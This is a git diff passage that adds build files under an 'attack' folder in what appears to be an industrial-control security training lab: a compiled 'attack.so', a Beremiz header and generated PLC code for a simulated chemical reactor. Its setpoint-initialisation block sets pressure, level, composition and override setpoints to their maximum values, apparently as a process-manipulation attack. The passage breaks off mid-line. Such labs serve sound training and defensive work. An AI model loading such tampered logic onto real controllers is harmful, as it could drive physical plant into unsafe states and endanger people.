+381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := 